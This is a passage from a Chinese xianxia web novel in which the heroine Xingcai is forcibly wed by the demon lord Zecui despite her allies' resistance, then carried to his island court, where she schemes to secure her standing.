“不是……”欧阳燕歌赶紧去拦他，却见他直接遁空离去，回头朝荇菜道，“不是这样。魔主泽萃收集无数分身，生花道友也是其中之一，被逼出来见你。他不能回去，一回去就没命了。
你……对，小仙女，你最是人美心善，道生花他已经……”
荇菜背对他，朝一侧的赖管事点头，回去后殿。
赖管事挡在欧阳燕歌面前，躬身送客。
后殿有一处小莲池，养着锦鲤和两支普通的箭荷，花家村最常见的品种。
金猴姐走来道：“小荇，你说得等人迎娶就是在等三生道的尊主？”
长恨蹙眉道：“泽萃现在自称海外魔主。他在收集分身，定是想要到达黄椒的修为水平。”
荇菜抚摸箭荷顶端，轻柔地笑道：“长恨，你不能留在这。”
长恨踏近道：“我不会让他得逞。”
荇菜歪头看他，轻嗤了声：“当今世上能阻止泽萃只有那两人。”
金猴姐这才明白荇菜让自己去找密勒尊者的目的：“小荇，我现在就去高欧，你等我回来。”
荇菜催促她半天都不动身，这会倒火急火燎地跑去。崔天行真没说错：女猴王没个定性。
她又看向长恨：“现在阻止不了他。我们那有一句话，打不过就加入。你愿意蛰伏在蜃珠洞境吗？”
长恨听过她的用意，默默地点头：“好。”
荇菜解决些杂事，再此取出精魄，释放裂魂破境阵和长月的神识，尝试读懂大阵。
数日过去，她和长恨依旧没有所得。
赖管事在前殿禀道：“峰主，欧阳先生又来了。他说，他一定可以帮得上峰主的忙。”
荇菜撩眸看眼荷池，再及金光熠熠的阵法，没有回应此话。
长恨突然道：“他曾是皎月的寄主，又是弟子，或许对阵法有新的见解。不如，你让他进来帮忙参详？”
荇菜思量片刻，想起禾诗逸说起过十方山寺上空四尊和黄椒一战的场面，不由颔首，让赖管事将人请进殿。
欧阳燕歌入后殿，来不及行礼就被金光闪烁的复杂阵法吸引。
他看向荇菜分离出来的四象阵图和五行阵柱，摇头道：“不是这样。”
“那该如何？”荇菜怀疑地看向他。
“阵法之道与修士的法道息息相关。”欧阳燕歌取笔勾画，点划之间绘出一张新的阵图，“这是皎月的诛仙卦阵。以星辰配合六十四卦衍生而成，再以当时十方山寺的地形和佛笼为阵心、金沙尊者的诛神剑为杀器成阵。”
长恨环顾他点绘的大阵：“确实精妙。传闻皎月卦算通天，以星宿卦道布阵。此阵确实合他道意。但是，若以此阵困黄椒，应该不能吧？”
荇菜听过禾诗逸解读那战的经过，没吭声。
欧阳燕歌也道：“确实勉强。真正留下道祖天尊脚步得应该是佛笼下的一众僧人和周围的百姓，以及泽萃尊者入魔之相。”
长恨颔首，注意力转向眼前：“你绘刻此阵，本意是想说皎月是卦师，所以他的阵图与卦道星宿相结合？”
欧阳燕歌点头，看向面沉若水的荇菜：“此阵看似禁阵中的裂魂阵法，但是，据我所知，道祖天尊从未真正裂魂，仅是分割神识。”
荇菜惊讶地张眼，不解道：“你是说我以前的判断是错的，这不是传统禁术里的裂魂破境阵？”
“这确实是裂魂破境阵，但不止于裂魂破境的功用。”
荇菜觉得他说得是废话。
长恨接话：“这里面结合藕人之术的生机形成之法，功能确实不单单是裂魂增法。”
“藕人？”欧阳燕歌一下子捂住脑袋，眼前恍惚出现道生花瘫倒在山泽水边的画面。
荇菜和长恨看着他不寻常的痛苦举动。
荇菜：“哎，你怎么了？”
“我想起一些事。皎月曾经救过花花……”
“花花？真是服了道生花那只花孔雀。”荇菜嫌弃地看他眼，留下长恨，转身走出后殿。
长月从裂魂阵里流出，化为虚影。他与长恨颔首，一起看向捧头思考的欧阳燕歌。
长月轻叹口气：“附神伤神。道祖虽取回他体内的神识。但是，当初他是自愿与皎月合体。”
长恨了然道：“黄椒遇善则救，遇恶不赦。这是变相的惩罚。”
欧阳燕歌捧着头怔忡，被遗忘的画面翻
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滚而来。
小小只得他病得很重，父皇遍寻名医都治不好，求到天净宗。
天净宗老祖皎月尊者突然出面。
小只的欧阳燕歌想要活着的欲望战胜一切，答应皎月的要求，自愿贡献肉/身给他祭附神识。
“所以，这是道祖对我的惩罚？他净化妖邪、剥离皎月神识，独对我……”
“你别多心。换一个角度，你想不起皎月的事对你来说未必不是好事。”长月打断他的自我审判，再次看向头顶的阵法，“你说对一点，这是与自身的道/性/息息相关的阵法。道祖是创世之人，所布阵法与生死有关。”
长恨陪他仰看阵法：“说实话，此阵在我识海多年，若非一朝悟道，根本看不到阵法的存在。黄椒布阵，真是神鬼莫测，通天之能。”
荇菜立在前殿，听着长月、长恨的对话，想起蓝星的神话故事。
盘古开天辟地、女娲捏土造人。
他们都说黄椒不是大修士，而是创世神灵，被神罚囚禁在这片空间的神灵。
“他会不会像女娲一样，拿藕造人？所谓裂魂附神，只是类似一种附灵激活的能力。”
荇菜的脑海里再次蹦出那些话：
“自来生，终赴死。只有脱不得苦的凡人才会因杀人而生心魔。悟得此中道理，你就会知道……你纠结、遵守的东西不过是上苍、世人予你的枷锁。
道为何？你有仔细思考过它吗？没有真正踏上此途，就会被心境困惑所迷。你想清楚就能走上坦途。”
“你真认为一句‘分身’就可以解释这些活生生的人从原本的生活里消失吗？”
“道为何，何为道？分身不是分身，若是真正的活人呢？”
荇菜喃喃念叨，独自一人走到三角梅花树下，仰看枝繁叶茂的花树，想起半月尊者送自己下山历练时的场面。
心境与修为不匹配，就总被《玉石还阳功》牵着鼻子走。后来，坚定所走的路：变强、诛杀朱琴天、复活花涟、找到回去的路再次见到爸妈。即使分别，也应该与他们有个好好的告别。
这就是所有的目标。
但是，这些目标都不是“道”。但是这些目标再不会让自己被《玉石还阳功》反制，因为理解自己要走的路，并且坚定不移去执行，意志克服所有牵绊。
替花涟报仇，试图复活他，诛杀朱琴天，寻找道祖天尊……
“所以，道究竟是什么？花涟，究竟什么是道？”荇菜喃喃自语，“目标不是道。”
转眼之间，天黑又亮，不少人前来看望荇菜，被赖管事打发离开。
荇菜沉浸在悟道之中，想起半月尊者的天地同欢道：天地交欢，合合相生。
曾经被封印修为，有过刹那体会这种道意的感觉，但被仇恨蒙蔽，鼓动美兕控制惊雷……那种入道感觉就再没有出现。
“仇恨蒙蔽了一切！”
道音入耳：“信仰是道。”
荇菜从迷茫中回神，猛地看向来人。男人面若冠玉，一身正气剑意。
“九阳，你怎么会来？”
九阳剑尊没有回答荇菜的问题，立在花树下笑看枝繁叶茂的花枝：“你记得我在你眼里看到过什么？”
“冰湖灵剑。”
九阳剑尊长身玉立，扬眉颔首：“你记得在十方山寺的佛笼成型前，你是怎么形容那些文僧吗？”
荇菜回忆道：“弱不可闻，却受人香火，只因百姓信仰他们。”
“不错。火云子是信仰之道的执火人。人有信仰，无事不可成。如今，他是十方寺和雷火寺的主持。”
荇菜不觉得他是来送消息，轻哼道：“你不如说是信念支撑他的做所作为。呵，我修炼合欢术，难不成真信仰合欢道？”
“有何不可？”九阳剑尊一脸正经，并无说笑的意思。
108. 第 108 章
荇菜被九阳的认同噎了下：这种难为情的道谁信谁没脸吧？
然而，另一方面，她又想起半月尊者所讲的天地同欢道：
“你以为的合欢仅仅是男女身体上那点事？”
“天地自然本就合合相生，行云流水，万物尽在欢愉，视为一道，名曰：合欢。”
荇菜仔细回想历练得这一路，并没有体会到同欢之意，无法入师尊说的道境。
“吾心欢愉，吾道畅快，悲欢苦乐尽皆为欢，视为：天地同欢道。”
“你明明已有道意，但不入道境。”九阳剑尊提点道。
荇菜的面色微红，竟然把道意念出来。
九阳剑尊板正的的面容露出笑意：“怎么，一段时间没见，合欢妖尊学会脸红，真是稀世盛景啊。”
荇菜仰首瞪去，撇开话题：“你究竟来做什么？”
“听说你在待嫁，我自是来看你嫁人。对了，这是诗逸的贺礼。”
荇菜接过九阳抛来的盒子，打开后是瓶丹药。
金色流线的花形丹纹，正是鸳鸯丹的外形。
“这是花涟早期炼制的鸳鸯丹，价值万数上品灵石。我在西双儿和瑶姬那见过一次。她做了宗主后可真是有钱。”
“她想你易容与我一起离开。”九阳说完后坐在石凳，伸头观望，“听说花涟长老给你留下不少好酒？”
荇菜看他态度也就知道——九阳也知道自己对魔主娶亲之事的态度。
撇开此话题，笑问：“……你的无情道修茬路了？”
她趴在他面前打趣，眼里全是狡黠。花树映人，人比花盛。
九阳剑尊的眼神晦涩了瞬，怼脸直冲荇菜鼻前：“道心不坚，自然修不成。”
“哈哈哈……”荇菜捧腹大笑，“我还期待你哪天来杀妻证道，我好趁机反杀呢。哈哈哈……可惜了。”
“妻？”九阳剑尊的眸光里盛放如烈阳般的笑意，熔蚀一切阴寒。
他咧大唇角，喃喃道，“这就是正阳之心。”又朝望来的荇菜道，“你没这机会。”
赖管事见到有客，前来送茶。
九阳笑道：“劳驾，上你们峰主前夫的好酒。”
赖管事被他的笑容感染，没理会过来他话语里对前峰主的不敬，径直去拿酒。
荇菜给九阳一脚：“你要不要脸啊？”
“我的脸早就丢你这了。”九阳剑尊说完又笑，撩眸看向高空，“你要不要趁此机会真正入道境？”
“没脸没皮。”荇菜踢他上瘾，再给他一脚，却被他抄手挽住脚踝。
九阳用力一拉一转，人就扑进怀，紧紧抱住失而复得的佳人。
“你……”
“嘘，他来了。”九阳抱着她看向上空北面的霞云。
荇菜挣了下，从九阳的怀里脱了身，仰首望北：“不是他。北面来的灵光。”
清脆的鸣啼声由远及近，鼓乐欢欣，宛若天现祥瑞，好生热闹。
九阳剑尊被荇菜按在手腕，严肃道：“不论谁来，都不能将你带出合欢宗。”
荇菜拽着他看向半空越来越近的迎亲队伍：“是凤武。在浮空岛上，他救过我。不算前尘旧事，我都该好好迎客，招待他。”
“迎客”两字安抚九阳周身躁动的纯阳剑意，侧身道：“我与你一起迎客。”
荇菜给他一个不轻不重的眼神，静等凤武到来。
蔚蓝的天穹响起凤求凰的啼鸣，无数的白尾凤鸾振翅飞来。
队列中是八匹火红的神风驹拉的玲珑宝车，艳丽得宛若天极流光，夺目非凡。
朱红颖高声道：“羽民国凤尊前来迎娶合欢宗莲花峰峰主荇姑娘。”
听到宣言的九阳剑尊突然道：“最近修炼有些心得，可拿他练手。”
荇菜拽住蠢蠢欲动的九阳，环顾赶来的长恨、欧阳燕歌、清欢宗主等人：“散了散了，小孩子过家家呢。”
清欢宗主：“师叔，您确定是过家家，”不是强取豪夺？
凤武一身彩翎华服，高高地矗立半空，居高看下：“本尊的女凰，本尊来迎娶你了。”
所有人的表情是：——
即使没同合欢妖尊接触过，也该知道这个女人强势得喜欢俯视他人，而不是仰视别人。
荇菜咧大嘴角：“凤武，近来身体可好？”
凤武傲娇的面容微滞，半空的身形有些踉跄。他是激动的，何曾见过妖女笑脸相迎？
他被黎榷带回羽民国后修养一阵，听说三生道的妖元府在羽民国建坛造根据地，就马不停蹄开战。
羽民国同山泽国也彻底闹掰，凤武召集众妖族回归羽民国定居，以免妖众再外被三生道妖元府剥夺妖元。
妖族和三生道的妖元府打得不可开交，妖元府突然就撤退。
妖众打听后回禀凤武：魔主泽萃即将迎娶魔后，妖元府回三生道献礼。
再一打听，凤武就坐不住，火急火燎让朱红颖备下凤族的迎亲物品，赶来合欢宗。
凤武让朱红颖将迎亲队伍停在合欢宗的正殿门口，带一众妖族侍女飞落在莲花峰。
他身后的羽族侍女捧着精美大气的火红色婚服、金光熠熠的头面首饰，在阳光下晔晔照人。
论土豪，非凤武妖族莫属。
凤武骄傲地立在荇菜的面前，满面春光：“不过是半身精血，又不是没舍给你过。如何，与我回羽民国，天羽宗全体妖族战士护你周全。”
荇菜看着这样耀武扬威的生气鸟王，绕过他去翻看琳琅满目的首饰，轻轻地勾唇笑开：“这不会是昆道宗的锻器手艺吧？你可真是我的好仆人，知道我喜欢什么。本主人确实需要这些随礼，多谢了。”
“你这女人，非得气死我才甘心吗？”凤武磨牙，又压住气性，“你若不喜欢，本尊再令人换。来人……”他看到荇菜面上不以为然，抢步来拽荇菜，被九阳剑尊举袖拦下。
“哼，你谁啊？青虞宗纯阳剑？区区化神也敢拦本尊，滚开。”
荇菜旋步就按住九阳剑尊的手，在他掌心轻饶，又一脚扑进快爆炸的凤武怀抱，炸毛的鸟儿瞬间僵硬成棍。
她得这番举动直接惊呆在场所有人。
赶来的水幻仙子自叹望尘莫及：谁这么大胆当众当面玩一脚多船啊？这还是个寡……妇！
清欢宗主直接拿手扇风：妖她祖宗。
荇菜安抚这只容易喷火的凤凰：“凤武，别气也别闹
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，回去吧。”
凤武的脸色肉眼可见红了大片，除蜃珠洞境里两人喝醉时感受过她的温柔外，这是唯一一次妖女对自己真情实意的温柔小意。
“不。你是本尊的女凰，本尊绝不可能让你嫁给别人。总之，你不准嫁给除我以外的人。”
声言刚刚宣完，东方的天空滚来大片乌云，雷鸣声宛如礼炮炸响。
“好快的速度。”清欢宗主言罢，直接让弟子去请半月尊者。
凤武、九阳、欧阳燕歌、清欢、水幻、贺喜等人纷纷纵向半空，迎接即将到来的雷云风暴。
荇菜拉住要上去战斗的长恨，朝他轻轻地摇头。
长恨消失后，半月尊者从洞府里走来，一步一灵威，震得整个合欢山门都跟着摇晃。
朱红颖急奔到荇菜面前：“女凰殿下，请速速随我离开合欢宗。”
荇菜还是头一次见朱红颖这般急切的神情。
她看向一众颤巍巍的羽族侍女：“你们不是来替本尊梳洗打扮吗？随本尊入殿吧。”
“女凰殿下……”朱红颖捉急地看向高空的灵威，双方还未碰面，水幻和贺喜长老已经神色大变着往下飞落，“再不走就来不及了。”
“若本尊走了，你家的凤尊会死在这。你舍得？”
朱红颖愣怔，见她步入殿内，耳边传来凤武的催促命令。
她咬牙朝一众侍女道：“随妖尊进殿。”
走在前面的荇菜轻轻地笑出声，回首东方的上空。黑甲龙鳞的男人无视众人的阻拦，目光直射而来。
他的眼神告诉荇菜：若不嫁，整个合欢派、现场所有人都给此婚陪葬。
荇菜转身看向殿内：“天龙掌生，三生送死，真是名不虚传。走吧。”
一众侍女惶惶地端着东西，随她疾步入殿。
合欢宗上空，道璇玑打头阵，挑选九阳剑尊战在一处。
凤武领一众妖族将士对上孚龙八部的首领。妖元府的魔牛大人直接叫嚣：“凤尊，又见面了。这次，必要分出个胜负。”
凤武也叫：“又是你这头死牛，今日就分出个胜负。”
半月尊者对上泽萃魔主，周身灵威引动天地灵气，欢欣之感直扑泽萃。
“本尊的徒儿不嫁你。”
泽萃尊者勾起噙血般的唇角，嫣红的眸光里闪过暗金的古铜色：“天地同欢，你的道，轻浮。”
他张手一推，将半月尊者直接打落在莲花峰的殿前。
半月尊者轻吐口血，大气美艳的面容画上愁容。美眸怒瞪高空的男人：“当年，道祖天尊见本尊都愣了神，你怎么可能无动于衷？”
“他欣赏你的道，本尊不喜，仅此而已。何况，你的道，无情可破。”泽萃尊者闪身，无视拦道的清欢、水幻等合欢宗长老，进入莲花峰大殿。
半月尊者噗出一口血，抹唇起身：“可恶，被看穿了。”
九阳剑尊奔向莲花峰，却被道璇玑打出的血樱戟阻拦。外围有孚龙弟子掠阵，阻挡他再登莲花峰。
几番鏖战后，九阳还是被击落在莲花峰山下。
他满身鲜血，持剑而立，目视众人：“今日，即便我自爆灵婴，也不准旁人带她离开此峰。”
109. 第 109 章
凤武周身灼火，被孚龙八部首领齐齐以蛟龙吞水术缠困，眼见手下妖众被杀，妖元被收，气愤之下乱了章法，一个不慎，携带满身火气袭向敌人，却被围攻着退向莲花峰。
泽萃看着面前的女人被妖族侍女一点点地盛装打扮，静静地观赏这一幕，宛如欣赏一道风景。
殿外袭来渐盛的火意，与他喜爱的冷意相悖。
他侧眸一撇，旋手一堆，一道无形的力量横向殿外。
殿外，砸向莲花峰的凤武被抛向高空，炸出一片火海。
朱红颖管不得殿内的事，急奔出去护主。
泽萃看向一众哆哆嗦嗦的羽族侍女，慢声道：“继续。”又朝闭目安静的荇菜道，“以凤火为庆，实为好兆头，对吧？”
荇菜缓缓地睁开眼睛，看向水镜中盛装华服的女子，一点不像她自己。
她想起与花涟结侣那日，普通的凤冠霞帔，却将人衬得人比花娇。
轻起红唇，目光却透出杀意，直视镜中人：“虽然这么说显得本尊很没志气，但是，没办法下也只能这么讲：今日莲花峰上若有一人死，我的血会染红这片土地。”
透过水镜看向“阴俊”的男子，记得两人初次见面就被他关入魔域黑莲。泽萃绝对不是脾气好、可相与的人，性情比以往遇见的分身都要更难以捉摸。
万幸得是这个人来强娶，而强娶就有机会反杀。
荇菜不等泽萃反应，拒绝侍女递来的金纹鞋履。
她把手上的万音铃摘下，递给侍女：“麻烦戴在右足。”
“是。”羽族侍女颤巍巍地接过万音铃，被泽萃摄走。
泽萃轻轻地摇晃万音铃，细听有悦耳之声，沉笑着走近她：“今日，魔后与本尊大喜，死一二人实为庆贺……你们都出去。”
他看向以涅火凤翎抵在喉口的盛装丽人，冷笑，“你舍得死？”
“不舍得。但是，本尊说了，没办法下只能死。若我死，你也别好过。”荇菜笑睨他，紫眸潋滟，却不起作用。只因对面的人修为高到深不可测。
“魔后下礼，作为夫君，岂能不回礼？”
泽萃瞬间倾身，一把握住凤翎，任由涅火灼烧掌心，用力刺进荇菜的喉口。
速度之快根本容不得荇菜反应，她连后推的力量都来不及使出。
“你……”荇菜睁大眼，延后的疼痛传进大脑，来不及颤抖已喷出一口热血，“……啊……”
泽萃凝诀左手长指，凝聚荇菜喷出的血液。无动于衷的双眸漾出一抹笑，右手微微用力，缓缓地拔出凤翎，感受从凤翎传递来的颤抖，连带他的识海都有片刻颤栗，这是同命同契的效果。
凤翎离体那刻，不等他的灵力拂过荇菜的喉口，伤口就已经在快速愈合，这是一具自愈能力超乎想象的法体。
泽萃诧异地挑眉，轻笑道：“这是你屡次死不了的秘密？有趣。”他舔了一口凝聚的血液，热如岩浆且含灵，即使有自愈能力也没有这快，“排除法体，那是功法的作用了。”
荇菜僵硬地松开手掌，颤巍巍地抚摸喉口。此刻，她一句话都接不上。《玉石还阳功》的恢复能力确实强，却被泽萃一下子发现秘密。
她暗暗地深呼吸调整心态，嫣红的唇瓣咬出齿痕：“我可以选择……”
“没的选。”泽萃祭出金缕元神，融入双方的血液，绘刻成魔纹契约，再分为两方魔印融进彼此的法体。
他长吸口气，俯视望来的美丽女人，“你让本尊非常愉快。本尊答应你，不杀他们。”
荇菜看着他伸来的手，自我催眠“必须镇定”。
她的手握上去，被他轻轻地拉升，浮上半空。
泽萃把万音铃套在面前宛如玉雕的右足，轻轻地敲击脚踝的铃铛，倾听了一声铃响。
悬浮的涅火凤翎旋飞回万音铃的中心，自成坠饰。
他再次勾唇：“心思不错。”
荇菜随他的力量下落，浮在地上半尺，与他并肩而行，被搀着手向殿外走去。
她思量着这位魔主的诡谲应该暂时稳定了，重整心态后问道：“你给我下什么契约？”
“魔力绘刻的天地魔纹契，只你和本尊。”泽萃暗金古铜的眼眸看向荇菜，从对面的瞳仁里看到自己一人，这让他非常高兴。
荇菜咀嚼这话：只你和本尊。排除同心命契关联的金沙尊者和密勒尊者，甚至黄椒……签订新的命契，说明泽萃是一个非常自我、占有欲极强的修士。
泽萃携她走出莲花峰大殿，看向一众夹道列阵的道璇玑、孚龙八部首领、十府城主，搀着荇菜一步步走向天上的蛟龙婚车。
九阳剑尊硬撑着起身，被清欢宗主死命拽在原地。
他还是控制不住内心，高声大喊：“妖女，我不准你嫁！”
荇菜侧头，朝九阳徐徐地笑开，看向砸出一片尘土满身黑污血水冒热气的凤武，以及默默站着的师尊……
她朝泽萃道：“他们都是我的亲人、师尊、道友，容我与他们道个别。”
泽萃欣赏她识时务的态度，目不斜视的头终于低首，看向讨好笑来的女人：“真丑。”
这嫌弃的语气！若非他停步，荇菜要兜不住这假笑。
她转身笑对诸人：“今日荇菜多谢诸位前来送嫁，拜谢。”
以修真界的正式礼仪，躬身一拜。目光从众人的面上一一滑过，能否再见他们，荇菜自己都不知道。
“凤武，抱歉，与你签下契约。但，从今往后，我再也不会对你使用此契。”
凤武撇脸，又舍不得不看她，再次盯着她：“你个……”
朱红颖不顾尊卑，一下子按住凤武的嘴巴：“主上，对不住。”
荇菜赞许地看向朱红颖，又转向九阳剑尊：“无情道挺好，不过能不修就不修吧。”她发现身旁的泽萃多看了眼九阳，轻轻地拽了泽萃的战袍袖甲，吸引他的注意力。
两人四目相对，泽萃冷笑：“今日自不会动他。”
九阳剑尊的目光里升起拼死一战的剑意。
哑火的凤武推开朱红颖，再催内丹，周身燃起火红的气焰。
清欢、贺喜等人也再次重整旗鼓，即使面上胆怯，但脚还是迈前。
半月尊者看着徒儿望来的含笑目光，轻轻地点头：“师父明白了。你，放心去吧。”
荇菜朝半月尊者颔首，转身时主动握住泽萃的大手掌，在道璇玑不忿的眼神下踏上蛟龙拉的黑色婚车。
莲花峰上，半月尊者喝止清欢等人，打晕剑意昂扬的九阳和气力不支的凤武，让朱红颖把凤武带回羽民国。
至于九阳，她暂时将人困在莲花峰。
蛟龙车架里，荇菜一入内就被泽萃掼在婚车地上，扬眸看向居高临下的男人，轻笑着：“原来你娶我……是为折磨我？”
“回宗。”泽萃没理她，朝外道。
黑龙御云开道，孚龙八部弟子在前，五条蛟龙拉车在后，幽冥十府城主持旗护送，浩浩荡荡的魔主迎亲队伍以雷鸣大雨之势奔赴东方的海外三生岛。
荇菜没有找不自在的爱好，窝在车内一角，继续思索裂魂破境阵的关窍以及未来要走的路。
泽萃看她半响，顿觉无趣：“你这种女人究竟有什么魅力，让他们为你以死相护？”
荇菜不搭理他，低头玩弄手指。
实则将手指当阵眼，划分四象、五柱。
泽萃眯眸，容忍她的无视，闭目静坐。
整个迎亲队伍无人说话，但是，四面传来的雷鸣声又沉又闷，一点不像迎亲，更像是老天爷
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位什么人送葬。
半日过后，海风的味道从雷云里飘进婚车，吸引荇菜的注意力。
荇菜见泽萃在闭目休息，起身打开车窗的窗格。
道璇玑的臭脸一下子出现在窗前，冷笑着看来，一副看好戏的神情。
荇菜愣后也朝她暖暖地笑开：“你师兄可还好？”
道璇玑冷哼：“臭不要脸，别提我师兄。你好好伺候师尊。”
“你说话真不好听。你师兄受得了你这么暴躁吗？”
道璇玑挪唇举戟，又把气憋回肚子。
荇菜回眸看眼静坐不动的泽萃，继续撩拨道璇玑：“哦……现在我是你的师娘，你和你的师兄得晨昏定省，礼不可少啊。”
道璇玑宛如吃口臭咸鱼，噎个半死。又不能发火，直接撇开脸。
半响过去，她见荇菜还在东张西望，冷笑道：“离开天生大陆，你想逃都逃不了。”
“谁要逃？做你师娘比做莲花峰峰主好玩，可以欺负你。对了，这里是海上吧？大海什么样？”荇菜看向外围一片黑气，真像魔主出行的队伍，完全看不到海和天空的面貌。
荇菜从道璇玑撇开的眼神里察觉后面异动，正要看看泽萃能忍到什么程度时，一只手直接捏住她后颈的风池两穴，将人提留回座。
道璇玑偷瞥师父的半张脸，赶紧低头后撤。
泽萃看向又不说话的荇菜，冷声道：“你怕本尊？”
荇菜偷觑他，撇嘴：“我有一驾琉璃宝车，拨动阵法后可在车内看见车外全景，天上地下都能看清楚。你的车子里什么都看不到。”
“这有何难？”泽萃轻轻挥手，外围的黑云散去，雷声骤停。
此时已是黄昏，日头缀在海平线，以天为岸，粼粼如碎金，像是金色的星空。
“好美啊。”荇菜趴在地板上，仰首间巧笑倩兮地看向泽萃，顾盼生辉的眸子溢满浓浓的诱惑，“真想下去捞金子。”
“你喜欢金子？”泽萃蹙眉看她的神态举动，没等到回答就被荇菜扑抱住手臂，感受她柔软的身体与坚硬铠甲间的细微摩擦，“你……”
“我不喜欢金子，但我喜欢大海。你带我去看海吧？”荇菜睁着亮亮的眼睛，全心全意地看向泽萃，仿佛真得爱上他，眼里只有他。
而这些是《色欢愉》里的秘诀，比《欢情诀》更露骨的诱惑术，属于高级诱心术。
泽萃阴沉的眸光出现迟疑，努力不让自己撇开脸。若是此时撇开脸，会被这个妖女吃得死死，像黄椒的分身一样。
他阴沉沉地对着荇菜的脸，望入她盛放自己的粼粼目光，宛如此时已经日头半落的大海，半明半暗一道线。随日头下落，黑暗在逐渐侵蚀整个大海世界。此时，这个女人的祸心术就是黑夜。
那么，她到底在想什么？
疑问一起，泽萃忍不住去感受魔纹契约传递的感觉，一旦明晰就释放冷气冷笑：“不必做惺惺之态。本尊娶你，自会给你应有的尊荣。来人。”
道璇玑在车外低首：“魔主？”
“昆山国由谁负责？”
道璇玑微愣，回道：“魑魅府龙黄主负责攻占昆山国。”
“令龙黄把昆山所有的金子送到三生道魔宫。”
道璇玑瞥眼做出惊讶神色的妖女，咬牙行礼：“是，魔主。”
车内的荇菜眨眼：“我……不爱金子。”
泽萃眸也不撩：“真不爱？”
“有一点点……”荇菜撇脸：谁会不爱金子？但是，他怎么知道，难道是那道魔纹契约？
此后，荇菜不再试探泽萃，静守心神，乖乖地靠坐在他的大腿，宛如腿部的挂件，又乖又柔。
这个家伙的性情有些难以摸清，只能靠水磨功夫，一点点用诱心术渗透。
110. 第 110 章
三生道盘踞在三生岛，远离天生大陆。
荇菜本以为是类似火山群岛这种阴暗与熔岩交织的魔魅地方，却不想是大海上一串绿意盎然的明珠项链。
从高空俯视三生道地界，毗邻的海岛串成以三生岛为中心的岛链，而且各处规模略大的岛上已经有明显的城市痕迹，宛若一个海国。
荇菜靠在泽萃的膝盖注视脚下飞掠而过的城镇，暗暗心惊。
传言三生道划分幽冥十府城和孚龙八部，本以为是宗门内部的职权划分，没想到是地域和军/政区分。
这时，荇菜察觉马车正在下降，假装昏昏欲睡的样子。她还趁机抓向泽萃，混沌地念叨：“夫君，我想喝你酿的酒了……啊，好困。”
泽萃阴沉地抓住她伸来的双手，却被对方油滑地溜走后揽了腰。
这个女人对她的夫君花涟就是这样吗？
可惜，那缕神识不在此处。
泽萃感受她钻入怀的体温，本要推开她的手拂过红裙，抱起一度猫进怀里的女人。他细细地感受荇菜的气息，确实混混沌沌的样子。
待蛟龙婚车的门打开，他抱着她走向魔宫。
荇菜从他的怀里睁眸，光明正大地偷觑四周。
两列持戟的兵士列阵，衣冠不凡的十府城主、战袍赫赫的孚龙八部首领站在宫殿正前。
只是，魔殿不是岩洞热穴，而是编织繁复的木藤吊楼，颇有些……不符泽萃的身份。
泽萃知道她装睡：“醒了就下来。”
这个女人可能已经察觉到魔契的作用，适才还试探了一下。
荇菜仰看他暗金色的瞳眸，里面倒映着惊讶的自己，紫眸流转，娇嗔道：“不，若本尊现在下来，以后怎么在魔宫立足啊？”
“立足？本尊在……”
“什么本尊，以后我自称本尊，你需自称……本主。”荇菜想起某宫斗剧里的小主小主，暗笑道，“不然……本宫也行，这里不是魔宫吗？”
泽萃眯眸，审视怀里的女人，好似在说：你在玩火！
荇菜敲在他心口的硬甲，本要落地却被他紧揽在怀。
她轻轻地笑起来：“夫君，走吧。”
泽萃的神色瞬间不怎么好看，直接松手让荇菜落地。
荇菜玉足一勾，浮在他的身侧，睥睨静默的众人：“他们看到本尊出丑。”
新任的罗刹府府主圭酉微眯眼神，第一个跪下行礼。
紧接着其它八府的府主纷纷跪下，再是孚龙一众首领。后方反应慢的门人来不及跪，就已经化成黑气消散。
道璇玑震惊地看向泽萃魔主，面对荇菜瞧来的挑衅眼神慢慢地跪下。
荇菜吧唧一下亲在眼神冷厉的泽萃，嘻嘻一笑后搀进泽萃的战甲臂弯：“亲爱的，人家累了，想休息了。”
泽萃眯眸，细品这三字，确实很有味道。比她唤过别人“夫君、相公”都要新鲜。他拉荇菜进殿上座，由众部下上前拜见。
魑魅府府主龙黄带四名下属抗五只箱子上殿：“龙黄见过魔主、魔后，此乃昆山国安都藏金，现尽数献给魔后。”
荇菜的身躯瞬间坐直，愕然地看向低首瞧来的泽萃，再转望下方的龙黄。
短短时间，十府城主的魑魅府主龙黄就屠了昆山国都城安都？
龙黄骄傲地环顾众人望来的眼神，听到罗刹府主的恭维、妖元府主魔牛的挑衅，冷笑道：“我魑魅战士自有妙法。”
他让下属打开箱子，不是金光璀璨的金子，而是鼓囊囊的储物袋堆满箱子。
“请魔后过目。”
龙黄拿起一只储物袋，近前后双手奉上袋子。
荇菜察觉泽萃扶在腰后的手掌力道，以灵力勾起储物袋近前，再打开口子：满满的纯金色泽，大块的金砖和金条……仿佛搬掉整个昆山皇宫。
她看着满殿注目的各异眼神，全在等自己得下一个反应。
“你拿下昆山皇室？”
龙黄的笑意更盛，宛若真正的食人魑魅。
“回魔后，本可以拿下昆山皇室，但昆道宗用龙骨鼎罩住昆山皇宫，京都百姓躲进皇宫。这些是京都官宦人家的藏品。”
“呵，拿不下昆山皇室就没有搬空整个安都的珍藏。这算什么啊？”荇菜随手扔了储物袋，砸在龙黄的面前。
殿上所有人都提起心，转向高座上的泽萃，静等他的反应。
荇菜知道这番举动是在证明魔后在魔主面前的地位，以此定下她在整个三生道的地位。
旋身靠上泽萃，她幽幽道：“不如本尊带领三生道弟子攻打昆山皇室？”
泽萃微眯眼睛，这个女人的用意再明显不过。
所以，要不要满足她呢？
龙黄已经胆战心惊，上位者的迟疑有可能是杀伐之象。
这会功夫，他跪下叩首：“魔后，属下知错，这就前往安都。若拿不下安都皇室，龙黄愿提头来见。”
魑魅府龙黄主倒是挺懂抬举之道。
荇菜莞尔，嘟起的樱唇朝泽萃无声地吐三字：亲爱的……
泽萃低首看向笑意盈盈的荇菜，回应是搀起她的手站在殿上。
泽萃目视众人：“今后魔宫上下但见魔后即见本……主。此事龙黄不力，入萃明城领罚。”
魔宫殿内的众人虽有诧异，却纷纷跪下，齐齐山呼：“吾等见过魔主、魔后。”
龙黄更是低首磕头：“谢魔主不杀之恩。”
荇菜咧嘴笑了，倚向泽萃时柔弱无骨，整个人都靠上他。
对付狠人要比他们更狠，这样才能震慑他们。
**
晚间，荇菜环顾高居崖顶的藤楼，暗嗤：浮空岛飞在天上，用天外浮石制成岛屿。泽萃处处想要成为黄椒，造的宫殿也要高耸入云，只是这地方建在悬崖峭壁，连鸟都不愿意上来。
从崖窗望向整个三生岛，泽萃的萃明城也是十府城之一。萃明城里灯火通明，宛若人间的繁华城镇。前萃明城主就是道生花，如今已经是道璇玑。
